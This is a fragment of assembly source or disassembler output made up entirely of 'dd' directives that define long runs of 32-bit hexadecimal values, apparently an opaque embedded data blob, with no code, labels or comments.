		dd 8A097BAAh, 3E4CBA40h, 9080A9BEh, 0F73A4904h,	16F698D7h
		dd 12923B3h, 6DA8CFF2h,	0FB77C10h, 0F205F606h, 0BE4716EBh
		dd 0F00DE805h, 2C3FF629h, 0B726E93Ah, 0C1C71423h, 0E9949B93h
		dd 916E7B8Dh, 4A7121h, 2506952Dh, 0AB5DFE4Ch, 55499079h
		dd 0C4F24BE9h, 2C2DC1B8h, 40C57375h, 0FF952F91h, 77F743Bh
		dd 0E637EB2Dh, 0C0681599h, 0E91B4E4Fh, 0FAC487F9h, 0AE4475D5h
		dd 0EB903783h, 52B90D0Ch, 0F328864Eh, 0D0B83B0h, 0DF38E979h
		dd 13006F30h, 5F18C9C5h, 60A9FA2Eh, 37BB1A13h, 7B28AD29h
		dd 4002C643h, 0E9086770h, 4883507Eh, 4074828h, 77772C7Bh
		dd 0BC9D6EF8h, 8909D14Eh, 6E978285h, 7F35F233h,	6568E3B0h
		dd 0A5A6016h, 212019ACh, 3CAD5E4Fh, 493E0F1h, 0CAC97382h
		dd 0D840D614h, 79BDC301h, 0F8582F36h, 4AF996B7h, 0D6CCE852h
		dd 9FA345FEh, 45C1885Eh, 54691516h, 644356FAh, 2DB1FF9Bh
		dd 0F51444A0h, 195907EAh, 0FF236645h, 5771602Fh, 78BB59E9h
		dd 3B616809h, 0FB608F7Ch, 953E7C08h, 79B08277h,	0EE640522h
		dd 0F676B04h, 0F758D9AFh, 0C8BB4D03h, 11EAA44h,	0EA2C8C9Eh
		dd 61E1C135h, 72FB4801h, 4CCC145Dh, 97F929CDh, 5A34FA30h
		dd 709D8Ch, 0E03040F0h,	15A70C44h, 0AB6F556Eh, 0C11EDA03h
		dd 10DF2BD5h, 7DA9BECEh, 3DF3EA02h, 0C8F76DDAh,	3040B11Ah
		dd 0A84870E8h, 111695D5h, 0CDAED621h, 2B912BF0h, 453A87AAh
		dd 411DC5C1h, 373975F6h, 0B9A04715h, 58194C56h,	0F56608DAh
		dd 19A3680Bh, 9624F54h,	34D957F7h, 7FB468C2h, 6F9E20AEh
		dd 7771F7FAh, 810025B8h, 710899E7h, 4B8FE92Dh, 5D9BAB73h
		dd 75D15F2Fh, 604B0F6Eh, 8C0F430Bh, 0ACB14EF5h,	0CA10A20Bh
		dd 258ADC47h, 0CA20FA34h, 0E6585037h, 207612CEh, 1AC4FE7Fh
		dd 335F080Bh, 0F418E198h, 6253680h, 2D42810Eh, 601D4900h
		dd 460C054Eh, 216E18D1h, 67EB58C3h, 0EE53DE05h,	438CDF29h
		dd 4578408Bh, 4B47BECh,	1B86BB01h, 0BE642042h, 0A834415Ah
		dd 441E133Ah, 5BD37F31h, 3B925513h, 6B1A7DD2h, 0A4837C77h
		dd 17572D29h, 0BB3D356Fh, 0AF4B92CFh, 43C75AC8h, 1CA5166Dh
		dd 0BAD828BBh, 0CBB4440h, 0D126C8Bh, 27985374h,	0A4E92709h
		dd 38F9E682h, 23242D5Eh, 5D27059Ah, 0CFC0BA32h,	9F8078E9h
		dd 75272445h, 0D9E9CBA2h, 52BE69D0h, 12EE0316h,	553E4924h
		dd 681C2116h, 33D31F80h, 0D10266E3h, 6AF0E9EBh,	88200552h
		dd 0FC70977Fh, 4DB634FCh, 93C68007h, 7FB6F482h,	0EB70C123h
		dd 885A0C01h, 0D92C59CBh, 4A9BE86Bh, 3DBB6513h,	0AD792AFDh
		dd 5300B03Ch, 3FFFB850h, 0BB1A2795h, 620A4003h,	5D6F4CEh
		dd 8C2159E9h, 0C5BD5E92h, 107D248Fh, 0E8C100AAh, 93C83118h
		dd 35419D53h, 56B72BAh,	8E6133Eh, 2414F2ECh, 6FA7C0C9h
		dd 0FB378880h, 0A0ED0132h, 0CC10836h, 1D960F51h, 847A27F5h
		dd 0F5DCFBF9h, 6F1A003Ch, 8F59FA25h, 870F3551h,	0E0021E2Fh
		dd 2DB409B2h, 1CC25229h, 375C034Fh, 0AB9C7894h,	45EAEF40h
		dd 26647617h, 204BCA29h, 59597908h, 0B94F36D0h,	45E9E043h
		dd 0BD7EE15Fh, 954ADFC0h, 40ADAB64h, 8085020Bh,	0C295C0FEh
		dd 0E6215714h, 6E86FAE9h, 0EF5053E7h, 0FC595AC3h, 66B6A71Fh
		dd 19C60617h, 0AF024A54h, 2D4AAEFCh, 249072E6h,	0EB096AC4h
		dd 575F2B72h, 14F5310Bh, 0F510550Dh, 0B92AE07Fh, 279F50Bh
		dd 0F9C8D729h, 22C71042h, 0B375CDB6h, 2948F9F1h, 1FC82F68h
		dd 61A46218h, 3DC74182h, 80037068h, 0DDF696EDh,	0E9BDC5A8h
		dd 0BC80284Fh, 0B5144A68h, 202D9946h, 0D1AD5472h, 865B7417h
		dd 2CBAC850h, 29DD755Ch, 7B029E76h, 8AA354A2h, 400947E9h
		dd 92845924h, 79BFB5D5h, 53B8062Ah, 703E433Ah, 286305F1h
		dd 0B8E9F531h, 112358C8h, 0A802A9Fh, 8713BF18h,	0E956F304h
		dd 0E0129D53h, 0A448832Bh, 5CB2A793h, 8166F972h, 39708F9Ch
		dd 0E6E86E2Dh, 12E49575h, 38DFE220h, 0F101D1B1h, 3BC1805Ah
		dd 1668CDFEh, 0E07E3056h, 0CBB3EF6Dh, 920BA83Dh, 0E5EC8515h
		dd 3065E8C6h, 94AE294Bh, 1DE4EF01h, 7A299857h, 306F7C33h
		dd 290B37BFh, 625AE9C7h, 7759AE09h, 5D2616E5h, 0D2B17714h
		dd 2D46E7BBh, 66C68438h, 0C22CFAFh, 64D874E9h, 8D039F88h
		dd 0D7023910h, 1C5D70E2h, 5171E012h, 5734171Eh,	0D9951729h
		dd 0E9033022h, 4682F15Ah, 2B779BDh, 5DEF87FDh, 0C6AA9280h
		dd 89B78D50h, 0E3C05F11h, 952FC70Fh, 4AE75087h,	0AF9FC59Fh
		dd 7E3328h, 81617233h, 44217FCDh, 0B9512B00h, 2AA45054h
		dd 635238E9h, 0BD159570h, 221C4093h, 0D4979028h, 15DD58E8h
		dd 4559C900h, 7831BB53h, 0A86A4AD7h, 63E45B0Bh,	0F1841242h
		dd 0FE6991C4h, 6DB905F4h, 0BE587FC9h, 0A96D1BB7h, 0E26A2B72h
		dd 21021793h, 25FECAAAh, 0BD38F8EAh, 0C072FE54h, 0D2B1047h
		dd 0F72920A8h, 5E080240h, 985C7AFDh, 0C5994A22h, 2FEF8B5Ch
		dd 0F894FFC7h, 62B4CC1h, 24A72501h, 0F0A7D254h,	0F9215D43h
		dd 0AC25573Bh, 9668E602h, 54B89855h, 61CABC5Fh,	0BA0ECFE9h
		dd 1014942Ah, 584D4B9h,	0D4C16FDh, 4470F1ABh, 0F27D8254h
		dd 951DC5Fh, 865E158Eh,	6FAC4FBCh, 31415C44h, 0CE904411h
		dd 62CC7B09h, 76724DCFh, 0CB4EB180h, 42905923h,	3628E8B0h
		dd 0D509D06Fh, 603094A2h, 5ED031A0h, 0E429B95Ah, 0F1FA9595h
		dd 0E0948265h, 0DF67B435h, 94100E13h, 800C3B6Ah, 5101AC9h
		dd 204F1CBFh, 0AB985E55h, 7D3B4D90h, 0E0CA001Eh, 0E9647539h
		dd 613E4B22h, 4FB7D96h
		dd 6A57E1EBh, 0A32D43ADh, 0A17B53A7h, 7A5979C0h, 3FF929F1h
		dd 4027F078h, 0EBFCB248h, 0D0FE6327h, 98DE80B4h, 14C2063Dh
		dd 0D9CF581h, 595DD095h, 4866BA63h, 2EF9B327h, 5E3E43BCh
		dd 0FC41FD13h, 0ECC0E0F9h, 0CF70BF06h, 52B821F6h, 0BF8E094Ah
		dd 0D7D45C25h, 9B890F02h, 0D4B3CA1Ah, 7564061Ah, 0D402344Ch
		dd 887D1754h, 578189EDh, 0F15D88C2h, 505EC1A8h,	0DECEE9h
		dd 29F3F183h, 876FF720h, 9487C31Bh, 4F90EA53h, 0DE52F4DCh
		dd 0F522F690h, 68F60436h, 0BE33B71Ch, 39B4F97h,	0A16FD361h
		dd 712EAF0Eh, 533EDDh, 0FBA5259h, 1BB571AAh, 3A56F689h
		dd 0DC347F25h, 31CE925h, 24E78805h, 922C7DC2h, 965ECACh
		dd 842E0432h, 0B80545A6h, 438F80B2h, 7990C801h,	7380C207h
		dd 0D49E65EDh, 79084196h, 68BA1644h, 2C399DF2h,	86223A4h
		dd 6D293963h, 8936D7AFh, 0A0729497h, 17F7429h, 454D54E3h
		dd 7B8D850Fh, 0C4E5FD40h, 0BD76490Bh, 41B01BE3h, 0E9028954h
		dd 86BEEFBDh, 88B7DC91h, 0BB02D3D0h, 0C14D332Eh, 0C57E2B79h
		dd 113CAAC8h, 9B20652h,	64BC280h, 0F2201176h, 28B92420h
		dd 8E040EF7h, 0E75ED80Ah, 7D64DDB5h, 7EEA16A3h,	5F79AF0Bh
		dd 538A0083h, 0C9C11B02h, 77CA979Dh, 85686A01h,	0E9255337h
		dd 5F8EB08Ch, 0CE0A0290h, 3A16D941h, 1D3068E7h,	9C593DC5h
		dd 49514B31h, 3E3AC44Fh, 0FB1824FAh, 247E19B2h,	809B0D7Bh
		dd 0BF665753h, 0DCF803A3h, 25BE4C4Bh, 0AE002248h, 0DFDF8977h
		dd 92628951h, 51565506h, 5EA5C568h, 19BDC2ABh, 3DE211DEh
		dd 468409F9h, 0D2290B7Ah, 637709ECh, 0A7C84913h, 80804D78h
		dd 598909C7h, 70000B2Ch, 8EBC0A5h, 0E945CCF9h, 5B360F2Fh
		dd 0A3BB94B2h, 3F31FAD3h, 0A62E214Ah, 465B7A5Bh, 0E2BA22C5h
		dd 3A21CF00h, 0A52BD7F7h, 303F6C7Fh, 5E180841h,	6F56BD68h
		dd 0D6B54FF3h, 1AFE6F30h, 3655BD52h, 0B285A277h, 3788A224h
		dd 95560B95h, 1759940Eh, 93EDEBAh, 7257B1E9h, 810339C0h
		dd 442FA987h, 60CE6063h, 7D61EE14h, 0D4F260Ch, 8804B628h
		dd 0BAE85EAAh, 0A1251802h, 80B6DA6Eh, 0BA64E908h, 33574CA8h
		dd 0B9CD7612h, 1C9884C9h, 7AC5A952h, 30A6C51h, 0F6C8529Bh
		dd 3D7F9E2Dh, 0F2500BFh, 0B7E7C48Bh, 62983CB6h,	5791E91Bh
		dd 54AFEDF9h, 0E258280h, 586089F1h, 0B54ADF4Dh,	2EB884C1h
		dd 1433E304h, 58C8F3BBh, 74830214h, 62492569h, 0F7286AD4h
		dd 0CCB115EDh, 0B47FAD68h, 95D289h, 4AD8B806h, 0E840F9EFh
		dd 12530506h, 0A0234B29h, 0FC0C2500h, 117E8A72h, 80AD4BE9h
		dd 6BE7BE62h, 47F45B71h, 25683140h, 6BE61B7Ch, 0F32D102Ch
		dd 0E5AE9CE5h, 0F4949612h, 0AD3A7AE1h, 8DB8C048h, 9868395Fh
		dd 0D8C6530h, 6295AB05h, 26A0E308h, 0D843B7Dh, 0F8893556h
		dd 7626A1h, 80DA89B9h, 0F29781EAh, 88732874h, 0D37BBC62h
		dd 3342ECFDh, 0B99264E1h, 2E01DC0h, 390A8798h, 0E69EC54Ch
		dd 0D2472300h, 0B0CF291Ch, 2D010F07h, 0EDC04805h, 13E143ECh
		dd 4E2E92Fh, 8FA2C8Dh, 103E9BA6h, 59275CAAh, 0E8CC4B7Dh
		dd 0FFAD24B0h, 0A1621AE9h, 1C092577h, 8BDA2F5Ch, 0B0FCFC78h
		dd 8F71390Ch, 300B4B48h, 0FE23B15h, 0BB345C35h,	0B8FD0317h
		dd 0A6AFD32Fh, 33E9C498h, 5B1A0BAEh, 0C69BB0DDh, 3A5797A3h
		dd 18005F21h, 0F618855h, 2F088A16h, 0BB535A40h,	9FE0E19h
		dd 878DE91Dh, 71259B51h, 0B1F34F5Eh, 0FEE03F96h, 3FD049F7h
		dd 79CBA44Fh, 0C440F86Ch, 0B8664A2Ch, 3D680BB2h, 39CB7720h
		dd 5AD2AAE5h, 25E9DC3Ah, 8BA74FD5h, 75ABFE9h, 52D9C91Ah
		dd 62358446h, 83CFFE04h, 0E5F4E62h, 0D4D977A0h,	1780E45Fh
		dd 0C1398A40h, 46AEE162h, 1ECCF745h, 5FFE8916h,	41B8BBF0h
		dd 3E94212Ch, 7D6EC5Eh,	0B14D03C3h, 1374C3DDh, 420A00E8h
		dd 0F51ABF61h, 6CFE9EBDh, 0A7DFE9B7h, 9856D064h, 57CA00D6h
		dd 1B2D0994h, 6F094D64h, 0A8848C0Fh, 5024AA3Dh,	0C03C4818h
		dd 0C0075BEEh, 986F683Ah, 7A03CC35h, 0EAD285B8h, 0DB689730h
		dd 0A14B35Eh, 48AD4382h, 654F26F7h, 3BD1B17Ch, 0E118808Bh
		dd 245BBFFCh, 76921FB1h, 0CF88C7C1h, 4056C20h, 680B8920h
		dd 0EDCDABF2h, 90E4D742h, 0E7FE5AD8h, 2E1FDBD7h, 10768210h
		dd 57312F26h, 294AD016h, 3EE9E8D0h, 3679B5ECh, 11F792Dh
		dd 2E0845BEh, 83D92431h, 715DF2E7h, 0F2F681E0h,	41F9DA3Eh
		dd 2B348BECh, 0B69A2CB3h, 55808CF1h, 632E4C68h,	0ED9AC00Ch
		dd 398F494Eh, 53870F12h, 0B86E58B1h, 8289F2ADh,	5D5FBA98h
		dd 0F429EFEh, 8318D13Fh, 5E410869h, 7FA86E13h, 1A0F26B3h
		dd 0AFB36B32h, 24E9E4B4h, 9FB1745Fh, 3AFE2FF2h,	5816BE4Fh
		dd 5487AAACh, 10BA1738h, 0E95E3092h, 0CBC72F4Bh, 5FB7769h
		dd 0BC0B7F4Bh, 2F31ECDFh, 0F37A9905h, 0F94128B0h, 83F42740h
		dd 0ABFD4FC9h, 5D385104h, 8F87C195h, 0F7906892h, 0D70452A5h
		dd 308BA261h, 1462DE7Ch, 97760954h, 4B8FD72Fh, 292E139Dh
		dd 0FAED05B3h, 0BDD801A1h, 31230550h, 0D7398E0Fh, 82DFB4A3h
		dd 450F062h, 0E3107E95h, 0AFAC170Ch, 2D1CB2E3h,	3DC34B0Ah
		dd 0D42F3774h, 66712F7Ch, 28196861h, 0B75FB223h, 44DF02C1h
		dd 55294259h, 0B8A559F4h, 494A6814h, 1B900506h,	95016A4Ch
		dd 128D209h, 1B261F1h, 60D12908h, 36BC0E8Dh, 0D71EB350h
		dd 4E03DFEEh, 0F7137CA2h, 60CF05E1h, 12A6BB1Eh,	3724D025h
		dd 7DA9EFE0h, 2F009077h, 40DB1B9Dh, 8080A5BDh, 86D4F6E0h
		dd 48F7F0E7h, 0FD323CC8h, 47F6C299h, 0AF92C4B4h, 0B8E360ACh
		dd 31F59508h, 307ED598h, 2959E964h, 0C0F35997h,	2C83B050h
		dd 3730CA98h, 16C56F44h, 4A8F1231h, 3FB2AA55h, 0EDF4E90Bh
		dd 599C3E7Ch, 57A2E2E5h, 0F1BD9F50h, 0A6CF66A0h, 0CF191820h
		dd 4405ACDAh, 0CD45FA16h, 71E303EBh, 0AF3A53D2h, 5A48198Eh
		dd 4E8FCB5Eh, 0E75FBACBh, 0D55F2709h, 0D634A8E7h, 1A0F0B81h
		dd 15567DC2h, 3F00E0E9h, 0FD304B71h, 210841B5h,	6802FC00h
		dd 2F33F924h, 26474A88h, 0FF62DF8h, 9EDB3501h, 3C83E48Ch
		dd 4ABC285Ch, 8EA4D28h,	2521D195h, 0CECEF80Ch, 17F52E08h
		dd 0EF594429h, 0A180EDAh, 203E851Ch, 43703DBEh,	83FB94EFh
		dd 65D1172Fh, 615821DAh, 474F5A1Eh, 3208DCAEh, 71E02054h
		dd 0B40CC76Ch, 7513D245h, 97EE5D7h, 5177B5AFh, 6830BD49h
		dd 0B1B3536Fh, 209773F0h, 3AC5E5E5h, 0F5505A6h,	0C9B04080h
		dd 526D516h, 6851E4h, 1D594107h, 8B0F4E5Eh, 9813104Eh
		dd 2FF0CEEEh, 10E17989h, 4F1510ECh, 90DD6427h, 0BD21BF8Dh
		dd 0EA38E844h, 21EACBFEh, 0F0575127h, 4592584Fh, 0BDC7F697h
		dd 0F348E494h, 6A5F0BD3h, 7CDC91A0h, 29207B56h,	0E671BFF9h
		dd 3A17E91Ch, 55CB3AECh, 0D1530B77h, 32E96487h,	0CA8AAFB2h
		dd 7D27FDC7h, 0FC9630A4h, 0E4604830h, 904FA8AEh, 46260293h
		dd 6A315934h, 0F55042B7h, 9773D289h, 0C6F183Eh,	718C257h
		dd 57A620Bh, 1C081201h,	82AA8D5h, 204878ADh, 19A01120h
		dd 939D0CC4h, 8698F333h, 962C011Ch, 0A368C828h,	0CBEB3C65h
		dd 0FE807FDBh, 0F586CDFEh, 8CFCEE8h, 7E980E80h,	0D8046847h
		dd 1DEE6B25h, 12C2430h,	0E9CBFE2Fh, 0F22E4Dh, 0F51E544h
		dd 361174B9h, 2F05A8D4h, 0F071A966h, 0CF74C17Bh, 295FBF04h
		dd 0FCAB59CAh, 8EE9B014h, 0AAA097A5h, 4FF22264h, 12918CB7h
		dd 7BB70F8h, 5BDE31A8h
		dd 57E9F321h, 0A8BBAA5h, 4AE25939h, 7FE1E0C0h, 0D11F3EA4h
		dd 0FFF12D52h, 29CB9C39h, 0E9415DFCh, 8A3E56D2h, 2CA8D796h
		dd 0D97521B2h, 28E98928h, 0F4B4CC60h, 2FA05197h, 11D0317Ch
		dd 18DC9FC7h, 8DFD5242h, 0B92AE0B3h, 72BFD390h,	124028Ch
		dd 8877AC17h, 0C380033Fh, 0A5C959DBh, 4FE93A1Fh, 0A3E1CB9Eh
		dd 0AE207B5Ah, 0E3D13C2Dh, 1D48880Ah, 3F6D88D5h, 12B1BB01h
		dd 0DE603080h, 7F1A2568h, 0F634D2E4h, 2C0B8FCh,	0F8564622h
		dd 0B5E9E51h, 166B796Eh, 0C31B42DAh, 358AF984h,	0AA7F357Ah
		dd 0C28BB5E2h, 4A315782h, 3D568342h, 0C6D83738h, 98752FF8h
		dd 62305A36h, 8FE957EEh, 0DCB73778h, 9E4F6373h,	5E0F1776h
		dd 930C926Ch, 0AC89F0A9h, 0BCD5F542h, 3CE91260h, 5866A4ADh
		dd 98C2CC17h, 0F0F8C7FEh, 537839EEh, 0DEBFF9B2h, 7A910E3Eh
		dd 0EEC91AAEh, 0E9E560F5h, 0D1514E0Eh, 32A296A7h, 0D9F7C525h
		dd 539F03EEh, 4C0243EBh, 50B71670h, 0CD325F09h,	7C863D80h
		dd 2114C801h, 848A1C4Fh, 680288BDh, 0F6A223D0h,	30EB8DEh
		dd 0C9502CC8h, 0F58413DDh, 0EB0E14C3h, 593335C1h, 81B54D28h
		dd 8298D353h, 68D231C1h, 0C1CEF7A6h, 1853E69Fh,	8995E6E9h
		dd 15A63E93h, 0FEB585F4h, 0E9564075h, 0B5A4363Fh, 7B29570Ch
		dd 161F523Bh, 143C591Bh, 3D25831Eh, 5C162356h, 5A8B8BFEh
		dd 0D4B18CECh, 4BF67D91h, 0C6B847EBh, 0EEF70963h, 8A502019h
		dd 8EFA5E4Eh, 5A680B81h, 0C4D8FC34h, 0C6540E99h, 90D7DA4h
		dd 4DA86858h, 46089DCh,	0A04E1715h, 4B01EAFBh, 5AD0BA52h
		dd 267D7EB9h, 0ACB35747h, 8F5594ADh, 0B5D11E2Fh, 4827E120h
		dd 0C22268EAh, 0F3D495EFh, 2B388E2h, 1E4EFE09h,	1D89CE0Fh
		dd 520152D7h, 0E8723D9Eh, 17D5ED2Bh, 28E97DE9h,	4E5DAC4Bh
		dd 371A44FBh, 8440EBCBh, 4CDDF2C3h, 77E2F983h, 5B430D54h
		dd 5C06D151h, 31B4C3Bh,	0DB409BEAh, 8DEA0580h, 0A16C8C0Fh
		dd 5187F8DCh, 0FABBBBC4h, 2BBE3BC0h, 78343013h,	0A5494F84h
		dd 0ABC984Ah, 1285558Ah, 0C1C8D2DCh, 0F6BA707Dh, 146949B9h
		dd 1DAA5226h, 0F24558BCh, 641673EDh, 75004810h,	34F84CF5h
		dd 89571CF4h, 4FA96EFh,	11955C2h, 600166B9h, 57CB9AC7h
		dd 50924B7Ch, 639A8CFEh, 476A3213h, 0EBD345BEh,	0F59BAE25h
		dd 19C8E90Bh, 8F00C6Bh,	1C2F840Fh, 0EA21E8D5h, 0D229F4Ch
		dd 0F58266E1h, 0F009870Eh, 4EF2C2BCh, 0DF85DDD4h, 8536FDCDh
		dd 23AA7902h, 0BE178960h, 0C5226240h, 5E65E05h,	0C1D25B12h
		dd 70195D4h, 2DA9D653h,	7279E569h, 2E03FEA4h, 0F43FB57Bh
		dd 0A597E90Fh, 59B76EEDh, 0B04EE985h, 0DCA05B85h, 119DD3A8h
		dd 44E4573Ch, 0FF3D207h, 0FBA575AFh, 409E0167h,	6F7F8505h
		dd 812EBD4h, 405A5822h,	828B1538h, 0DE93F076h, 53B45A52h
		dd 0E1E66473h, 4EDFFC2Fh, 649F72FFh, 20579C8h, 8BDF54DCh
		dd 5236546Fh, 0D4516A04h, 1531BA2Eh, 8100F37Ah,	13126ACFh
		dd 76043064h, 0EA49C179h, 6F5D8941h, 0A4CDB3E8h, 2DEF68Ah
		dd 0ACF605Ah, 4FC39472h, 0BE7A522Bh, 2625B620h,	9D80C2Ch
		dd 6475656Eh, 77599D69h, 5AD5FC52h, 4A624777h, 0BB53C53Eh
		dd 0FF847BF7h, 7559C8E4h, 41CD0612h, 5727C600h,	4C29F479h
		dd 71B5E5EAh, 4E1D870h,	0E0D200BCh, 0E341CCF4h,	3D079AF0h
		dd 222636C8h, 0A84EB8EBh, 10413DF1h, 5212382Dh,	4096F35Dh
		dd 40BA69FCh, 0F5F68B8Ch, 0E8137BB1h, 3DE09316h, 7F210F68h
		dd 0FB452D44h, 4B98A41Bh, 6A583A98h, 0D621EEBh,	13122797h
		dd 0F8581221h, 12B63620h, 8AF428F5h, 7523FA9h, 0C9EE800Ah
		dd 2827EB30h, 65C0DDF3h, 8D20C016h, 0E78017FFh,	725F8131h
		dd 2E733F5Ch, 0A204E583h, 16DB23h, 17286DF0h, 0D327212Ah
		dd 0CA10755Ah, 546027E9h, 168EEB45h, 0B55F7E2Fh, 7E5A6EFCh
		dd 84D8164Eh, 0F7BFC378h, 7487E64Ch, 0E8B3295Ah, 0F3087902h
		dd 0BB693143h, 2E9B359Ah, 0B5614DABh, 2CEB2B3Eh, 280F583Dh
		dd 12A568C3h, 9689B8F9h, 42F93184h, 0AF594C68h,	52B6891h
		dd 0DC28358h, 6F75F882h, 89DF1FB9h, 0D422D68Ch,	0C6DFA168h
		dd 0BD660E13h, 492479Ch, 0EA6CC362h, 800424A4h,	3678E6B8h
		dd 99EA214Eh, 0F5348410h, 38C24686h, 0CD1BDDD0h, 0AA806237h
		dd 760E27D6h, 0F2A5255Dh, 0E604175Ah, 29CC66EDh, 0EB1B7F45h
		dd 0B2452DCDh, 85A4B45h, 0B1BD5940h, 95253762h,	74B62877h
		dd 71612209h, 5E798890h, 50DEF600h, 4EC063B4h, 827F85E4h
		dd 0A90E1D3Eh, 472E2054h, 0B2F6880Fh, 0FD20EFE1h, 980C17A4h
		dd 2B9EA552h, 0EC4BBCE6h, 0E7AA935Eh, 1DD15ADEh, 7B31F1F7h
		dd 882B33C5h, 624AE261h, 0BC5B77F7h, 0FB668B3Dh, 5A730B2Ah
		dd 0E153A774h, 8D920AE0h, 2B7F02E8h, 0E0C0DD66h, 0A7B704EAh
		dd 6E507399h, 9AFEE911h, 0A44D9D08h, 70E47C2Fh,	2898D828h
		dd 746A595Dh, 8592D993h, 688130EFh, 2D943322h, 0BF09662h
		dd 61AF4E55h, 4A683B49h, 0D4F8825h, 3B571D53h, 0A51BDBA4h
		dd 0E8F8BCF4h, 0FBDDC937h, 5A2F4BF4h, 0BF2990ABh, 3665A28Bh
		dd 0E4FA2E38h, 7EE9AE02h, 52D47C23h, 55662651h,	71FE0260h
		dd 0F58931C5h, 684164D9h, 312E1406h, 2BF0A02Ch,	0A49664BDh
		dd 714AAC3Bh, 7BDF99FEh, 0E9831BBDh, 0EF135B46h, 6A81F58Ch
		dd 29F401B6h, 2840C1E8h, 330F2CF0h, 195A84ACh, 5FA9516h
		dd 64A90BBCh, 0FE35EA3Ch, 0A01EE2AAh, 9E8C42E9h, 0F5668399h
		dd 0EDB2DC47h, 0E24211FCh, 44B800E4h, 6A4CC005h, 887E295Ah
		dd 687F5D98h, 6BF6BEAFh, 6E9402FFh, 0B776098Bh,	0CA7A413Dh
		dd 0F10E7EB1h, 0BB2FD8Ah, 0B39E8F5Ah, 99E54E8h,	4E5F134Dh
		dd 0E3CF88BEh, 0BAA9A0F4h, 0BB7B1244h, 0FA0012Dh, 0A5F9228Ah
		dd 0DE485D1Ah, 0E6F1FDB1h, 7FC72D1Ch, 5DF11275h, 49744F09h
		dd 0D270CCB1h, 0B47AE82Bh, 449D18C8h, 0EAB7C5F4h, 0CBF561C6h
		dd 0DDF58000h, 23E82827h, 3F8A9E98h, 3DF3EA1Bh,	77AF3CF2h
		dd 305A05C1h, 5002D0B9h, 516829B3h, 37094845h, 0F6C9C0C8h
		dd 49736A3Eh, 584BF2B8h, 0AD3EF3E1h, 0D0B9895Ch, 0D35C2047h
		dd 46C1ACC5h, 3C7F1601h, 3AEC1FCCh, 0EA17C022h,	13851910h
		dd 38FA0126h, 96C10820h, 4F056972h, 18CE2660h, 34660C48h
		dd 0E1D032Ch, 80A00154h, 65DAE908h, 0FAC65BB9h,	550CD25Ah
		dd 12AFEFAh, 0A0A4C17Bh, 7CB42390h, 81397F25h, 1F176B5Eh
		dd 3F5369FEh, 7A2DAEB6h, 8D089AD3h, 576804A9h, 2B30EA3Ah
		dd 5A096AAAh, 0F7300404h, 481BC2D2h, 0F5FDC27Fh, 9F3676C8h
		dd 5AD6AFC1h, 0D1656D68h, 0D725E2F7h, 3442006Eh, 0EF448117h
		dd 8079E289h, 0C27A048h, 786BD653h, 64759185h, 0A7F3EA5Bh
		dd 4B42F297h, 0D3D206FBh, 54BF9D97h, 0E05913DAh, 86F45F2Ah
		dd 0A06B1763h, 5C0A1263h, 0EC31E521h, 44B1CA94h, 2827B285h
		dd 81AED8C4h, 1048F0Dh,	8324F31Ah, 0F6460BC2h, 8983EB26h
		dd 543B01D7h, 2FBD5CC3h, 0A59065FEh, 0E9D090F4h, 80E2603Eh
		dd 57093BBEh, 0E6810A07h, 239154E8h, 0F27FD6F7h, 0C71A6014h
		dd 0ED502C38h, 2C823DECh, 2451F51h, 647375C0h, 0E9DD05F5h
		dd 93D40811h, 570E90FAh, 90B869BFh, 0CF735B90h,	266F1916h
		dd 95C7BA80h, 54E27BAh,	83F111DDh, 8C21173Fh, 584166B2h
		dd 43BA17Fh, 4273C589h,	0A5685EF5h, 0E6FAE6DFh,	1AD19DCEh
		dd 4818E049h, 75E50A13h, 5062D58h, 0B7AA6CE9h, 45EE932Ch
		dd 0BA36B809h, 0D74802CAh
		dd 0EF43CC30h, 2A301D1Ch, 7CD0C21h, 3D42582Ch, 640DA413h
		dd 16A7AAFFh, 24681292h, 6489FF8Bh, 0E2010C93h,	52060132h
		dd 0CE091D1Fh, 0B085EC3Bh, 68525C6h, 43E982A0h,	5CBD8212h
		dd 0A4E4426Ah, 0A8214D5Fh, 5546BFD1h, 3B015779h, 0E973426Eh
		dd 69816081h, 0CB07DFCFh, 18EC40Fh, 8D435C5Eh, 10402E9Eh
		dd 6FF1D6D2h, 4D45054Bh, 80ED70FBh, 759DEBE5h, 0E9BB7820h
		dd 4EC14967h, 834DD5F7h, 50D301EDh, 80FCFF0Eh, 45B77B2Ch
		dd 7F4F8867h, 4EB198C4h, 53C69138h, 0A45E6655h,	0B09230FEh
		dd 4900E643h, 2D35D8F7h, 98215A68h, 0AB04EFA2h,	205B2014h
		dd 69AC7E1Eh, 0FD81BA84h, 60204761h, 845E281h, 2F25F22Eh
		dd 0EA768F13h, 80848B1Eh, 29AE0AEBh, 2DFD51BFh,	78D13B50h
		dd 4903C8ACh, 79FD57E1h, 1E3705F7h, 29872B75h, 0A912DC35h
		dd 686207AAh, 0B866C9E0h, 7648BB0Eh, 58A1F12h, 0BA830E64h
		dd 0D4C917FBh, 0BDA0F184h, 8EF3CC1h, 0D7E21425h, 8774CFF5h
		dd 93827E9h, 427CD957h,	49DDFE68h, 0D5F63CEEh, 8F5178D1h
		dd 1F7BDDFEh, 24F08189h, 698CC391h, 5344405Dh, 76FA9190h
		dd 8850FC36h, 0E9590A44h, 42A0A34Bh, 0CE69D7E5h, 40377FC7h
		dd 7727EE8Ah, 0AE2F5994h, 0B10BA2C9h, 5F71FF2Fh, 2C20CF20h
		dd 0EAD09F89h, 693D26BEh, 50515DABh, 0A29BE74Fh, 1389C9ECh
		dd 0FA0F7CC8h, 1FFA117h, 4554CF83h, 0A5787C5Dh,	6BFEC800h
		dd 5FE91547h, 0B27E02EBh, 0F6D02882h, 1CF09220h, 0CF69C780h
		dd 0ED6B7AEFh, 644FF3A7h, 6B18B154h, 62208D6Dh,	2B754109h
		dd 3D4FACA6h, 21AB2F32h, 0A7EFAC72h, 0AF4D036Eh, 0BDC20018h
		dd 77903378h, 0ED068145h, 2B2A6C5Ch, 14AA0C7Ch,	394106Bh
		dd 554186E0h, 4EE364F8h, 7181A18Dh, 77A06F3Bh, 20492AE9h
		dd 68E60B8Dh, 50B054F5h, 0C9024A47h, 3CE9412Dh,	0F8C94909h
		dd 58C5F340h, 2D2EB053h, 1ECA32E2h, 0F03DADCh, 5E20A28Bh
		dd 5E3AAB16h, 2768C72Eh, 0F80C4C75h, 742F4919h,	5AF5F703h
		dd 0F9EBE83Ch, 384D9EE9h, 84AC424h, 0BAD55C0Bh,	95F9D5DFh
		dd 84D1E845h, 0AB3EE6D1h, 0F34CB80Fh, 5A509CEAh, 16309594h
		dd 0EBB2EDF7h, 56E67825h, 0D08809FDh, 1862BDF9h, 9BECFF2Fh
